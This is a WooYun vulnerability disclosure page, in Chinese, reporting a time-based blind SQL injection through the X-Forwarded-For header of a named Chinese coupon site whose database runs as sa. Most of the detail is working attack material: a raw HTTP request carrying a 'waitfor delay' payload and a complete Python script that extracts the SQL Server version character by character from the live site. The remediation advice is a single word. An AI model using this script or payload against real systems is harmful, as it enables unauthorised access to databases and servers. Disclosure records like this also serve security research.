当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-083813

漏洞标题:券妈妈MSSQL注射(sa权限&附验证脚本)

相关厂商:券妈妈

漏洞作者: lijiejie

提交时间:2014-11-19 11:00

修复时间:2015-01-03 11:16

公开时间:2015-01-03 11:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-19: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-01-03: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

券妈妈MSSQL注射(sa权限&附验证脚本)

详细说明:

注入点:

GET /zhisearch/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
X-Forwarded-For: 127.0.0.1'); waitfor delay '0:0:1' --
X-Requested-With: XMLHttpRequest
Referer: http://www.quanmama.com
Host: www.quanmama.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*


X-Forwarded-For头注入。当前用户sa。

漏洞证明:

猜解system_user,得到:

sa


尝试猜解@@version

quanmama_SQL_Server_Version.png


相关脚本附上:

import httplib
import time
import string
import sys
import random
import urllib
headers = {
'Cookie': '',
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.-\\ ')
print 'Try to retrive SQL Server Version:'
user = ''
for i in range(1,30,1):
for payload in payloads:
timeout_count = 0
for j in range(1,3):
try:
conn = httplib.HTTPConnection('www.quanmama.com', timeout=3)
random.seed()
x_forwarded_for = str(random.random()) + "127.0.0.1'); if (ascii(substring(@@version,%s,1))=%s) waitfor delay '0:0:3' -- " % (i, ord(payload))
headers['X-Forwarded-For'] = x_forwarded_for
conn.request(method='GET',
url= '/zhisearch/',
headers = headers)
conn.getresponse()
conn.close()
print '.',
break
except:
timeout_count += 1
if timeout_count == 2: # 2 times to confirm
user += payload
print '[In Progress]', user
break
print '\n[Done], SQL Server version is', user

修复方案:

过滤

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论